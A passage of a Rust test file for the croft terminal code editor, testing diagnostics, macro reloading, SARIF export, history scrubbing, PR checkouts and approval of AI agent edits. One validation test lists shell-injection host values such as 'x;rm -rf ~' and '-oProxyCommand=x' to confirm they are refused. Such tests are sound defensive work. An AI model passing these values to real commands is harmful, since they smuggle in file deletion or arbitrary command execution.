        let tmp = tempfile::tempdir().unwrap();
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.update_watch = Some(crate::update_watch::UpdateWatch::start(
            tmp.path().to_path_buf(),
            String::new(),
        ));
        let cache = croft_cache_dir();
        std::fs::create_dir_all(&cache).unwrap();
        let marker = cache.join(format!(
            "{}{}",
            crate::update_watch::BUILD_MARKER_PREFIX,
            std::process::id()
        ));
        // This test process stands in for the compile: alive, and ours.
        std::fs::write(&marker, std::process::id().to_string()).unwrap();
        if let Some(boot) = crate::update_watch::boot_id() {
            let sidecar = format!(
                "{}{}",
                marker.display(),
                crate::update_watch::BOOT_SIDECAR_SUFFIX
            );
            std::fs::write(sidecar, boot).unwrap();
        }
        assert!(app.poll_source_build_marker());
        assert!(app.lsp.is_none() && app.lsp_paused_for_build);

        std::fs::remove_file(&marker).unwrap();
        app.build_marker_checked = None; // past the once-a-second gate
        assert!(app.poll_source_build_marker());
        assert!(app.lsp.is_some() && !app.lsp_paused_for_build);
    });
}

/// #737: a re-root starts a new manager, which numbers semantic replies from
/// 0 again, so the old high-water marks go with the old one.
#[test]
fn a_reroot_forgets_the_old_semantic_generations() {
    let tmp = tempfile::tempdir().unwrap();
    let other = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let p = tmp.path().join("a.rs");
    app.semantic_generation_seen.insert(p.clone(), 500);
    app.change_workspace_root(other.path().to_path_buf());
    assert!(
        semantic_reply_is_current(app.semantic_generation_seen.get(&p).copied(), 0),
        "the new server's first reply must be accepted"
    );
    assert!(app.lsp.is_some(), "the new root's servers started");
}

/// #694: an "all clear" from the last server reporting on a path drops the
/// path from the store instead of leaving an empty entry behind; another
/// server's findings on it survive.
#[test]
fn an_all_clear_from_every_server_drops_the_path_from_the_store() {
    use crate::lsp::manager::{DiagnosticSeverity, DiagnosticsUpdate};
    let mut store = std::collections::HashMap::new();
    let path = PathBuf::from("/w/gone.rs");
    let update = |server: &str, diagnostics| DiagnosticsUpdate {
        path: path.clone(),
        server: server.to_string(),
        diagnostics,
    };
    store_diagnostics_update(
        &mut store,
        update("ra", vec![diag(0, 1, DiagnosticSeverity::Error)]),
    );
    store_diagnostics_update(
        &mut store,
        update("clippy", vec![diag(2, 3, DiagnosticSeverity::Warning)]),
    );
    store_diagnostics_update(&mut store, update("ra", Vec::new()));
    assert_eq!(store[&path].len(), 1, "clippy's findings stay");
    store_diagnostics_update(&mut store, update("clippy", Vec::new()));
    assert!(store.is_empty(), "{store:?}");
    // An all-clear for a path never reported does not create one.
    store_diagnostics_update(&mut store, update("ra", Vec::new()));
    assert!(store.is_empty());
}

/// #262: a config file croft did not write itself (one that arrived by
/// config sync) is applied within the watch interval, not on next launch;
/// a macro croft records itself is not reloaded behind its back.
#[test]
fn a_macros_file_written_outside_croft_is_reloaded_live() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let store = tmp.path().join("macros.json");
    app.macros_path = store.clone();
    app.config_watch = crate::config_sync::ConfigWatch::new(vec![store.clone()]);
    app.macro_registers.clear();
    let mut mac = crate::macros::Macro::default();
    mac.push_key(crossterm::event::KeyEvent::new(
        crossterm::event::KeyCode::Char('x'),
        crossterm::event::KeyModifiers::NONE,
    ));
    crate::macros::save_register(&store, "q", mac).unwrap();
    let t0 = std::time::Instant::now();
    assert!(!app.tick_config_watch_at(t0), "not before the interval");
    assert!(app.tick_config_watch_at(t0 + crate::config_sync::ConfigWatch::INTERVAL * 2));
    assert!(
        app.macro_registers.contains_key("q"),
        "{:?}",
        app.macro_registers.keys()
    );
    assert!(app.status.starts_with("Macros reloaded"), "{}", app.status);
    // Nothing more changed: the next check reloads nothing.
    assert!(!app.tick_config_watch_at(t0 + crate::config_sync::ConfigWatch::INTERVAL * 4));
}

/// #577: export to a `.sarif` name writes the visible results as SARIF,
/// each run kept with its tool and rules, filtered results left out and a
/// run with nothing left dropped; any other name still gets CSV.
#[test]
fn sarif_export_writes_the_visible_results_as_sarif_or_csv() {
    use crate::sarif::semantics::Level;
    let tmp = tempfile::tempdir().unwrap();
    let log = tmp.path().join("two.sarif");
    std::fs::write(
        &log,
        r#"{"version":"2.1.0","runs":[
            {"tool":{"driver":{"name":"lint","rules":[{"id":"R1"},{"id":"R2"}]}},
             "results":[{"ruleId":"R1","level":"error","message":{"text":"bad"}},
                        {"ruleId":"R2","level":"note","message":{"text":"meh"}}]},
            {"tool":{"driver":{"name":"other"}},
             "results":[{"ruleId":"X","level":"note","message":{"text":"quiet"}}]}]}"#,
    )
    .unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&log).unwrap();
    app.editor
        .sarif
        .as_mut()
        .unwrap()
        .filters
        .hidden_levels
        .insert(Level::Note);
    app.submit_sarif_export("out.sarif");
    assert!(app.status.contains("Exported 1 result"), "{}", app.status);
    let out: serde_json::Value =
        serde_json::from_str(&std::fs::read_to_string(tmp.path().join("out.sarif")).unwrap())
            .unwrap();
    assert_eq!(out["version"], "2.1.0");
    let runs = out["runs"].as_array().unwrap();
    assert_eq!(runs.len(), 1, "the run left empty is dropped");
    assert_eq!(runs[0]["tool"]["driver"]["name"], "lint");
    assert_eq!(
        runs[0]["tool"]["driver"]["rules"].as_array().unwrap().len(),
        2
    );
    let results = runs[0]["results"].as_array().unwrap();
    assert_eq!(results.len(), 1);
    assert_eq!(results[0]["ruleId"], "R1");
    // And the exported log opens again in the viewer.
    app.editor.open(&tmp.path().join("out.sarif")).unwrap();
    assert_eq!(app.editor.sarif.as_ref().unwrap().entries.len(), 1);

    app.editor.open(&log).unwrap();
    app.submit_sarif_export("out.csv");
    let csv = std::fs::read_to_string(tmp.path().join("out.csv")).unwrap();
    assert!(csv.starts_with("rule,level,file"), "{csv}");
}

#[test]
fn sync_config_now_runs_the_cli_in_a_pane_for_a_plain_host_only() {
    // #262: the palette command types `croft sync-config <host>` into a
    // new terminal, so the host must be an alias, never shell text.
    use crate::widgets::command_palette::Command;
    assert_eq!(
        Command::from_id("remote_sync_config_now"),
        Some(Command::RemoteSyncConfigNow)
    );
    assert_eq!(
        Command::RemoteSyncConfigNow.title(),
        "Remote: Sync Config Now"
    );
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    for bad in ["dev box", "x;rm -rf ~", "-oProxyCommand=x", ""] {
        app.sync_config_to(bad);
        assert!(
            app.status.contains("not an ssh host alias"),
            "{bad:?}: {}",
            app.status
        );
    }
    app.sync_config_to("user@dev-box.lan");
    assert_eq!(app.status, "Syncing config to user@dev-box.lan");
}

#[test]
fn the_outline_and_breadcrumbs_follow_the_scrubbed_commit() {
    // #371: while scrubbing, the Outline lists the file as it was at the
    // commit on screen, the breadcrumbs follow the historical caret, a
    // symbol jump lands in the history, and leaving brings the live
    // outline back.
    let tmp = tempfile::tempdir().unwrap();
    let git = |args: &[&str]| {
        let ok = std::process::Command::new("git")
            .arg("-C")
            .arg(tmp.path())
            .args(args)
            .output()
            .unwrap()
            .status
            .success();
        assert!(ok, "git {args:?}");
    };
    git(&["init", "-q", "-b", "main"]);
    git(&["config", "user.email", "a@b"]);
    git(&["config", "user.name", "a"]);
    let file = tmp.path().join("lib.rs");
    std::fs::write(&file, "fn alpha() {\n    let a = 1;\n}\n").unwrap();
    git(&["add", "."]);
    git(&["commit", "-q", "-m", "alpha"]);
    std::fs::write(
        &file,
        "fn beta() {\n}\n\nfn alpha() {\n    let a = 1;\n}\n\nfn gamma() {\n}\n",
    )
    .unwrap();
    git(&["commit", "-q", "-am", "beta and gamma"]);

    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&file).unwrap();
    let names = |app: &App| -> Vec<String> {
        app.outline
            .symbols()
            .iter()
            .map(|s| s.name.clone())
            .collect()
    };
    app.sync_outline();
    assert_eq!(
        names(&app),
        ["beta", "alpha", "gamma"],
        "control: live outline"
    );

    app.scrub_history();
    assert!(app.handle_scrubber_key(KeyCode::Left), "HEAD");
    assert!(app.handle_scrubber_key(KeyCode::Left), "the root commit");
    settle_scrub_outline(&mut app);
    assert_eq!(names(&app), ["alpha"], "the commit's outline");

    // A jump to `alpha` lands in the historical view, where it is line 0,
    // and the breadcrumbs name it from there.
    let target = app.outline.jump_target(0).unwrap().1;
    assert!(app.jump_in_scrub_view(target));
    assert_eq!(app.scrub_view.as_ref().unwrap().cursor_row, 0);
    app.editor.cursor_row = 7; // the live caret, inside `gamma`
    let crumbs: Vec<String> = app
        .build_breadcrumbs()
        .into_iter()
        .map(|c| c.label)
        .collect();
    assert_eq!(
        crumbs.last().map(String::as_str),
        Some("alpha"),
        "{crumbs:?}"
    );

    // Switching to a file that did not exist at this commit: its outline
    // is its own (none), never the previous file's history under its name.
    let other = tmp.path().join("other.rs");
    std::fs::write(&other, "fn zeta() {}\n").unwrap();
    app.editor.open(&other).unwrap();
    app.sync_outline();
    assert!(names(&app).is_empty(), "{:?}", names(&app));
    app.editor.open(&file).unwrap();
    app.sync_outline();
    assert_eq!(names(&app), ["alpha"]);

    assert!(
        app.handle_scrubber_key(KeyCode::Home),
        "back to the working tree"
    );
    app.sync_outline();
    assert_eq!(
        names(&app),
        ["beta", "alpha", "gamma"],
        "the live outline is back"
    );
    assert!(!app.jump_in_scrub_view(0), "no history on screen");
}

#[test]
fn review_mode_checks_the_pr_out_and_leaving_removes_a_clean_checkout() {
    // #365: `c` fetches the PR head into a sibling worktree added to the
    // workspace, and Esc takes it away again when nothing was changed.
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let git = |dir: &Path, args: &[&str]| {
            let out = std::process::Command::new("git")
                .arg("-C")
                .arg(dir)
                .args(args)
                .output()
                .unwrap();
            assert!(out.status.success(), "git {args:?}");
            String::from_utf8_lossy(&out.stdout).trim().to_string()
        };
        // The "GitHub" repository, at a path ending in the PR's `o/r`, so
        // the remote naming it is found without a network.
        let up = tmp.path().join("o").join("r");
        std::fs::create_dir_all(&up).unwrap();
        git(&up, &["init", "-q", "-b", "main"]);
        git(&up, &["config", "user.email", "a@b"]);
        git(&up, &["config", "user.name", "a"]);
        std::fs::write(up.join("a.txt"), "base").unwrap();
        git(&up, &["add", "."]);
        git(&up, &["commit", "-q", "-m", "base"]);
        std::fs::write(up.join("a.txt"), "pr").unwrap();
        git(&up, &["commit", "-q", "-am", "pr"]);
        let head = git(&up, &["rev-parse", "HEAD"]);
        git(&up, &["update-ref", "refs/pull/579/head", &head]);
        git(&up, &["reset", "-q", "--hard", "HEAD~1"]);
        git(tmp.path(), &["clone", "-q", up.to_str().unwrap(), "app"]);
        let root = tmp.path().join("app").canonicalize().unwrap();

        let mut app = App::new(root.clone()).unwrap();
        app.open_pr_review(crate::widgets::pr_review::tests::sample(), "o/r#579".into());
        app.handle_pr_review_key(key(KeyCode::Char('c'), KeyModifiers::NONE));
        assert!(app.status.contains("Fetching PR #579"), "{}", app.status);
        crate::test_budget::await_spawned(
            std::time::Duration::from_secs(10),
            "PR checkout",
            || {
                app.poll_pr_checkout();
                app.pr_checkout_rx.is_none()
            },
        );
        let checkout = tmp.path().join("app-pr-579").canonicalize().unwrap();
        assert!(app.status.contains("checked out"), "{}", app.status);
        assert!(
            app.roots.iter().any(|r| r == checkout),
            "added to the workspace"
        );
        assert_eq!(
            std::fs::read_to_string(checkout.join("a.txt")).unwrap(),
            "pr"
        );

        app.handle_pr_review_key(key(KeyCode::Esc, KeyModifiers::NONE));
        assert!(
            app.status.contains("removed its checkout"),
            "{}",
            app.status
        );
        assert!(!checkout.exists(), "the worktree is gone");
        assert!(!app.roots.iter().any(|r| r == checkout));
        assert!(app.pr_checkout.is_none());

        // Leaving before the fetch lands: nobody owns the result, so it is
        // settled on arrival, never adopted.
        app.open_pr_review(crate::widgets::pr_review::tests::sample(), "o/r#579".into());
        app.handle_pr_review_key(key(KeyCode::Char('c'), KeyModifiers::NONE));
        app.handle_pr_review_key(key(KeyCode::Esc, KeyModifiers::NONE));
        crate::test_budget::await_spawned(
            std::time::Duration::from_secs(10),
            "PR checkout",
            || {
                app.poll_pr_checkout();
                app.pr_checkout_rx.is_none()
            },
        );
        assert!(
            app.status
                .contains("after its review closed; removed its checkout"),
            "{}",
            app.status
        );
        assert!(app.pr_checkout.is_none() && !checkout.exists());
        assert!(!app.roots.iter().any(|r| r == checkout));

        // An unsaved tab under the checkout keeps it.
        app.open_pr_review(crate::widgets::pr_review::tests::sample(), "o/r#579".into());
        app.handle_pr_review_key(key(KeyCode::Char('c'), KeyModifiers::NONE));
        crate::test_budget::await_spawned(
            std::time::Duration::from_secs(10),
            "PR checkout",
            || {
                app.poll_pr_checkout();
                app.pr_checkout_rx.is_none()
            },
        );
        let checkout = tmp.path().join("app-pr-579").canonicalize().unwrap();
        app.editor.open(&checkout.join("a.txt")).unwrap();
        app.editor.dirty = true;
        app.open_pr_review(crate::widgets::pr_review::tests::sample(), "o/r#579".into());
        app.handle_pr_review_key(key(KeyCode::Esc, KeyModifiers::NONE));
        assert!(
            app.status.contains("a.txt has unsaved changes"),
            "{}",
            app.status
        );
        assert!(checkout.exists(), "kept");
    });
}

#[test]
fn code_scanning_follows_the_branch_when_on_and_only_says_so_when_prompting() {
    // #577: `code_scanning = on` loads the branch's newest analysis per
    // tool at the nearest scanned commit, and again after a checkout of
    // another branch; `prompt` names them and waits; `off` never asks.
    use std::os::unix::fs::PermissionsExt;
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let git = |args: &[&str]| {
            let out = std::process::Command::new("git")
                .arg("-C")
                .arg(tmp.path())
                .args(args)
                .output()
                .unwrap();
            assert!(out.status.success(), "git {args:?}");
            String::from_utf8_lossy(&out.stdout).trim().to_string()
        };
        git(&["init", "-q", "-b", "main"]);
        git(&["config", "user.email", "a@b"]);
        git(&["config", "user.name", "a"]);
        std::fs::write(tmp.path().join("a.txt"), "a").unwrap();
        git(&["add", "."]);
        git(&["commit", "-q", "-m", "scanned"]);
        let scanned = git(&["rev-parse", "HEAD"]);
        std::fs::write(tmp.path().join("a.txt"), "b").unwrap();
        git(&["commit", "-q", "-am", "not scanned yet"]);

        let log = tmp.path().join("gh-args");
        let gh = tmp.path().join("gh");
        std::fs::write(
            &gh,
            format!(
                r#"#!/bin/sh
echo "$@" >> '{log}'
case "$*" in
  *sarif+json*) echo '{{"version": "2.1.0", "runs": []}}' ;;
  *) echo '[{{"id": 7, "ref": "refs/heads/main", "commit_sha": "{scanned}", "tool": {{"name": "CodeQL"}}, "created_at": "2026-09-01T00:00:00Z", "results_count": 0}}, {{"id": 6, "ref": "refs/heads/main", "commit_sha": "0000", "tool": {{"name": "CodeQL"}}, "created_at": "2026-09-02T00:00:00Z", "results_count": 0}}]' ;;
esac
"#,
                log = log.display()
            ),
        )
        .unwrap();
        std::fs::set_permissions(&gh, std::fs::Permissions::from_mode(0o755)).unwrap();

        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.gh_program = gh.clone();
        app.source_control.status.in_repo = true;
        app.source_control.status.branch = Some(String::from("main"));

        // Off: nothing is asked.
        app.poll_code_scanning();
        assert!(
            app.code_scan_list.is_none() && !log.exists(),
            "off never calls gh"
        );

        app.code_scanning = crate::sarif::github::CodeScanningMode::On;
        let settle = |app: &mut App| {
            crate::test_budget::await_spawned(
                std::time::Duration::from_secs(10),
                "code scanning",
                || {
                    app.poll_code_scanning();
                    app.code_scan_list.is_none() && app.code_scan_fetch.is_none()
                },
            );
        };
        app.poll_code_scanning();
        settle(&mut app);
        assert_eq!(app.status, "Loaded 1 code scanning analysis");
        assert!(
            app.editor.sarif.is_some(),
            "the analysis opened in the viewer"
        );
        let calls = std::fs::read_to_string(&log).unwrap();
        assert!(
            calls.contains("ref=refs%2Fheads%2Fmain") || calls.contains("ref=refs/heads/main"),
            "{calls}"
        );
        assert!(
            calls.contains("analyses/7"),
            "the one at the nearest scanned commit: {calls}"
        );
        assert!(!calls.contains("analyses/6"), "{calls}");

        // The same branch is not looked up again; another one is.
        std::fs::remove_file(&log).unwrap();
        app.poll_code_scanning();
        assert!(app.code_scan_list.is_none() && !log.exists());
        app.code_scanning = crate::sarif::github::CodeScanningMode::Prompt;
        app.source_control.status.branch = None;
        app.source_control.status.detached_hash = Some(scanned.clone());
        app.poll_code_scanning();
        settle(&mut app);
        assert!(
            app.status
                .starts_with("Code scanning has 1 analysis for detached HEAD"),
            "{}",
            app.status
        );
        let calls = std::fs::read_to_string(&log).unwrap();
        assert!(
            !calls.contains("sarif+json"),
            "prompt downloads nothing: {calls}"
        );
    });
}

/// #694: Developer: Show Memory Usage opens a tab attributing memory to
/// each subsystem, with the stored diagnostics counted per server.
#[test]
fn show_memory_usage_opens_a_per_subsystem_report() {
    use crate::lsp::manager::DiagnosticSeverity;
    use crate::widgets::command_palette::Command;
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let mut by_server = std::collections::HashMap::new();
    by_server.insert(
        String::from("ruff"),
        vec![
            diag(0, 1, DiagnosticSeverity::Warning),
            diag(2, 3, DiagnosticSeverity::Error),
        ],
    );
    app.lsp_diagnostics
        .insert(tmp.path().join("a.py"), by_server);
    app.run_command(Command::DeveloperShowMemoryUsage);
    assert_eq!(app.editor.path.as_deref(), Some(Path::new("Memory Usage")));
    let text = app.editor.lines.join("\n");
    for section in ["Terminal panes", "Undo history", "OUTPUT channels"] {
        assert!(text.contains(section), "{text}");
    }
    assert!(text.contains("ruff: 2 diagnostics in 1 files"), "{text}");
}

/// #264: an adapter that refuses to start the program (delve and a Go too
/// old for it) ends the debug session with its reason in the status and
/// the Run and Debug feedback, not "Debug session ended", and not a
/// session left Initializing.
#[test]
fn a_refused_debug_launch_says_why() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let refused = r#"{"seq":1,"type":"response","request_seq":2,"success":false,"command":"launch","message":"Failed to launch","body":{"error":{"id":3000,"format":"Failed to launch /w: Go version go1.24.7 is too old for this version of Delve"}}}"#;
    app.debug_sessions.push("go", stub_emitting(&[refused]));
    crate::test_budget::await_spawned(
        std::time::Duration::from_secs(10),
        "the refusal to end the session",
        || {
            app.poll_dap();
            app.debug_sessions.is_empty()
        },
    );
    assert!(
        app.status
            .starts_with("Could not start debugging: Failed to launch /w: Go version"),
        "{}",
        app.status
    );
    assert!(app.run_debug.feedback_is_error);
    assert!(
        app.run_debug
            .feedback
            .as_deref()
            .is_some_and(|f| f.contains("too old for this version of Delve"))
    );
}

/// #345: the agent review queue, and what was marked reviewed, survive a
/// restart and a re-root away and back; the Explorer's dots come back too.
#[test]
fn the_agent_review_queue_survives_a_restart_and_a_reroot() {
    let tmp = tempfile::tempdir().unwrap();
    let other = tempfile::tempdir().unwrap();
    let store = tempfile::tempdir().unwrap().keep().join("agent_lane.json");
    let a = tmp.path().join("a.rs");
    let b = tmp.path().join("b.rs");
    std::fs::write(&a, "a").unwrap();
    std::fs::write(&b, "b").unwrap();
    let working = [String::from("claude")];
    let root = tmp.path().canonicalize().unwrap();
    let (a, b) = (root.join("a.rs"), root.join("b.rs"));

    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.agent_ledger_store = Some(store.clone());
    app.agent_ledger.record_write(&a, 1, &working);
    app.agent_ledger.record_write(&b, 2, &working);
    app.agent_ledger.mark_reviewed("claude", &b, 2, None);
    app.persist_agent_ledger(true);
    drop(app);

    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.agent_ledger_store = Some(store.clone());
    app.agent_ledger = app.load_agent_ledger(&root);
    app.sync_agent_lane_decorations();
    assert!(app.agent_ledger.is_unreviewed(&a), "the queue came back");
    assert!(!app.agent_ledger.is_unreviewed(&b), "and b stays reviewed");
    assert!(app.tree.agent_touched.contains(&a), "the Explorer's dot");

    // Away and back: each workspace keeps its own queue.
    app.change_workspace_root(other.path().to_path_buf());
    assert!(app.agent_ledger.is_empty());
    app.change_workspace_root(tmp.path().to_path_buf());
    assert!(app.agent_ledger.is_unreviewed(&a));

    // Reviewing everything empties the queue and drops its saved entry.
    app.agent_ledger.mark_reviewed("claude", &a, 1, None);
    app.agent_ledger.forget("claude");
    app.persist_agent_ledger(true);
    let saved = std::fs::read_to_string(&store).unwrap();
    assert!(!saved.contains(&root.display().to_string()), "{saved}");
}

/// #345: the lane is reachable from the keyboard: "Agents: Review a Changed
/// File" lists every lane's files, and Enter opens the chosen one's diff.
#[test]
fn the_lane_file_picker_opens_the_chosen_files_diff() {
    let tmp = tempfile::tempdir().unwrap();
    let root = tmp.path().canonicalize().unwrap();
    let a = root.join("a.rs");
    std::fs::write(&a, "a\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.run_command(crate::widgets::command_palette::Command::PickAgentLaneFile);
    assert_eq!(app.status, "No agent has changed a file");
    assert!(app.list_picker.is_none());

    app.agent_ledger
        .record_write(&a, 1, &[String::from("claude")]);
    app.run_command(crate::widgets::command_palette::Command::PickAgentLaneFile);
    let picker = app.list_picker.as_ref().expect("a picker");
    assert_eq!(picker.rows.len(), 1);
    assert!(
        picker.rows[0].label.contains("a.rs"),
        "{}",
        picker.rows[0].label
    );
    assert!(picker.rows[0].label.contains("(claude)"));
    app.handle_key(key(KeyCode::Enter, KeyModifiers::NONE))
        .unwrap();
    assert!(app.list_picker.is_none());
    // Never reviewed, so the diff is refused with the reason, as a click on
    // the row is: the pick reached `diff_agent_lane_row`.
    assert!(app.status.contains("review"), "{}", app.status);
}

#[test]
fn edit_then_approve_sends_the_saved_text_as_the_tools_input() {
    // #347: `e` opens the proposal as a scratch file with the popup put
    // away; closing it unsaved brings the popup back; saving it approves
    // with input that makes the agent's own tool write the edited text.
    use std::io::{BufRead, Write};
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let target = tmp.path().join("a.rs");
        std::fs::write(&target, "let x = 1;\n").unwrap();
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        let sock = tmp.path().join("hook.sock");
        let listener = std::os::unix::net::UnixListener::bind(&sock).unwrap();
        listener.set_nonblocking(true).unwrap();
        app.hook_listener = Some(listener);
        let mut hook = std::os::unix::net::UnixStream::connect(&sock).unwrap();
        let input = serde_json::json!({"file_path": target, "old_string": "1", "new_string": "2"});
        let req = crate::agent_hook::EditRequest {
            agent: "claude-code".into(),
            tool: "Edit".into(),
            input,
            cwd: tmp.path().into(),
        };
        writeln!(hook, "{}", serde_json::to_string(&req).unwrap()).unwrap();
        // A tab with unsaved work, which opening the proposal must not
        // replace.
        let other = tmp.path().join("b.rs");
        std::fs::write(&other, "fn b() {}\n").unwrap();
        app.editor.open_pinned(&other).unwrap();
        app.editor.lines[0] = String::from("fn b() { unsaved }");
        app.editor.dirty = true;
        app.drain_hook_requests();
        let arm = |app: &mut App| {
            app.approval_ui.as_mut().unwrap().shown_at -= crate::agent_approval::ARM_DELAY;
        };

        arm(&mut app);
        app.handle_key(key(KeyCode::Char('e'), KeyModifiers::NONE))
            .unwrap();
        assert!(app.approval_ui.is_none(), "the popup is put away");
        let scratch = app.approval_edit.as_ref().unwrap().1.clone();
        assert_eq!(app.editor.path.as_deref(), Some(scratch.as_path()));
        assert_eq!(app.editor.lines[0], "let x = 2;", "the proposal's text");
        app.drain_hook_requests();
        assert!(app.approval_ui.is_none(), "and stays away while editing");

        // Closed unsaved: back to the popup, nothing answered.
        app.editor.close_active();
        app.drain_hook_requests();
        assert!(app.approval_edit.is_none() && app.approval_ui.is_some());
        assert_eq!(app.approvals.len(), 1);

        arm(&mut app);
        app.handle_key(key(KeyCode::Char('e'), KeyModifiers::NONE))
            .unwrap();
        app.editor.lines[0] = String::from("let x = 3;");
        app.editor.dirty = true;
        app.write_current_to_disk();
        assert!(app.status.contains("as you changed it"), "{}", app.status);
        assert!(app.approvals.is_empty() && app.approval_edit.is_none());

        hook.set_read_timeout(Some(std::time::Duration::from_millis(500)))
            .unwrap();
        let mut line = String::new();
        std::io::BufReader::new(hook).read_line(&mut line).unwrap();
        let crate::agent_hook::Decision::AllowEdited { input } =
            serde_json::from_str(line.trim()).unwrap()
        else {
            panic!("not an edited approval: {line}");
        };
        let read = |p: &std::path::Path| std::fs::read_to_string(p);
        let replay =
            crate::agent_approval::proposal_for("Edit", &input, tmp.path(), &read).unwrap();
        assert_eq!(
            replay.after, "let x = 3;\n",
            "the agent's Edit writes what was saved"
        );
        app.editor.open_pinned(&other).unwrap();
        assert!(app.editor.dirty, "the other tab kept its unsaved work");
        assert_eq!(app.editor.lines[0], "fn b() { unsaved }");
    });
}

#[test]
fn an_agent_edit_to_a_dirty_tab_goes_through_a_three_way_merge() {
    // #347: the proposal is computed from disk, so approving it over a tab
    // with unsaved edits would put the agent's write under them. Enter
    // opens a merge (disk, yours, the agent's) instead; auto-approve never
    // lets it through; saving with conflicts left approves nothing; the
    // resolved result is what the agent writes, and the tab holds it too.
    use std::io::{BufRead, Write};
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let target = tmp.path().join("a.rs");
        std::fs::write(&target, "one\ntwo\nthree\nfour\nfive\n").unwrap();
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.editor.open(&target).unwrap();
        app.editor.lines[0] = String::from("ONE"); // yours: line 1
        app.editor.lines[2] = String::from("mine"); // yours: line 3, in conflict
        app.editor.dirty = true;
        app.editor.pin_active(); // as any real edit does
        let sock = tmp.path().join("hook.sock");
        let listener = std::os::unix::net::UnixListener::bind(&sock).unwrap();
        listener.set_nonblocking(true).unwrap();
        app.hook_listener = Some(listener);
        // The agent's: lines 3 and 5 (Write, so the whole text).
        let mut hook = std::os::unix::net::UnixStream::connect(&sock).unwrap();
        let req = crate::agent_hook::EditRequest {
            agent: "claude-code".into(),
            tool: "Write".into(),
            input: serde_json::json!({"file_path": target, "content": "one\ntwo\ntheirs\nfour\nFIVE\n"}),
            cwd: tmp.path().into(),
        };
        writeln!(hook, "{}", serde_json::to_string(&req).unwrap()).unwrap();
        // Auto-approving this agent does not approve an edit under unsaved text.
        app.auto_approve = Some((
            String::from("claude-code"),
            std::time::Instant::now() + std::time::Duration::from_secs(60),
        ));
        app.drain_hook_requests();
        assert_eq!(app.approvals.len(), 1, "auto-approved over unsaved edits");
        app.auto_approve = None;
        assert!(app.approval_ui.as_ref().unwrap().target_dirty);

        app.approval_ui.as_mut().unwrap().shown_at -= crate::agent_approval::ARM_DELAY;
        app.handle_key(key(KeyCode::Enter, KeyModifiers::NONE))
            .unwrap();
        assert_eq!(app.approvals.len(), 1, "Enter approved over unsaved edits");
        let scratch = app.approval_edit.as_ref().unwrap().1.clone();
        assert_eq!(app.editor.path.as_deref(), Some(scratch.as_path()));
        let mv = app.editor.merge.as_ref().expect("a merge view");
        assert_eq!(mv.conflicts.len(), 1, "line 3 changed on both sides");
        let conflict_row = mv.conflicts[0].result_start;
        assert_eq!(
            app.editor.lines,
            ["ONE", "two", "three", "four", "FIVE"],
            "each side's own change applied, the conflict holding the base"
        );

        // Saving with the conflict open approves nothing.
        app.editor.dirty = true;
        app.write_current_to_disk();
        assert!(app.status.contains("1 conflict left"), "{}", app.status);
        assert_eq!(app.approvals.len(), 1);

        app.editor.cursor_row = conflict_row;
        app.merge_apply(crate::merge_editor::ConflictState::Incoming);
        app.write_current_to_disk();
        assert!(app.approvals.is_empty(), "{}", app.status);
        assert!(
            app.status.contains("your tab holds the same text"),
            "{}",
            app.status
        );

        hook.set_read_timeout(Some(std::time::Duration::from_millis(500)))
            .unwrap();
        let mut line = String::new();
        std::io::BufReader::new(hook).read_line(&mut line).unwrap();
        let crate::agent_hook::Decision::AllowEdited { input } =
            serde_json::from_str(line.trim()).unwrap()
        else {
            panic!("not an edited approval: {line}");
        };
        assert_eq!(input["content"], "ONE\ntwo\ntheirs\nfour\nFIVE\n");
        // The user's tab is still there, and holds what the agent is about
        // to write.
        app.editor.open_pinned(&target).unwrap();
        assert_eq!(app.editor.lines, ["ONE", "two", "theirs", "four", "FIVE"]);
    });
}

/// #371's criterion, measured: after a warm-up pass, holding an arrow key
/// back across up to 200 commits of this repository's own
/// `src/app/mod.rs` stays under a frame (16 ms) per step, the step and the
/// frame it paints. Highlighting that file takes over half a second, so a
/// step shows the plain text the builder already split and swaps the
/// finished view in behind it. Needs this checkout's history, so it is
/// ignored by default.
#[test]
#[ignore]
fn scrubbing_the_biggest_file_stays_under_a_frame_per_step() {
    let root = PathBuf::from(env!("CARGO_MANIFEST_DIR"));
    let mut app = App::new(root.clone()).unwrap();
    app.editor.open(&root.join("src/app/mod.rs")).unwrap();
    app.scrub_history();
    let steps = app.scrubber.as_ref().map_or(0, |s| s.len()).min(200);
    assert!(steps > 20, "only {steps} commits to scrub");
    let mut term = ratatui::Terminal::new(ratatui::backend::TestBackend::new(160, 50)).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    // A held arrow key repeats about 30 times a second; between repeats the
    // main loop takes in what the builder produced.
    let repeat = std::time::Duration::from_millis(33);
    // Warm-up, as the criterion allows: one pass reads every version.
    for _ in 0..steps {
        std::thread::sleep(repeat);
        app.drain_scrub_views();
        app.handle_scrubber_key(KeyCode::Left);
        app.sync_outline();
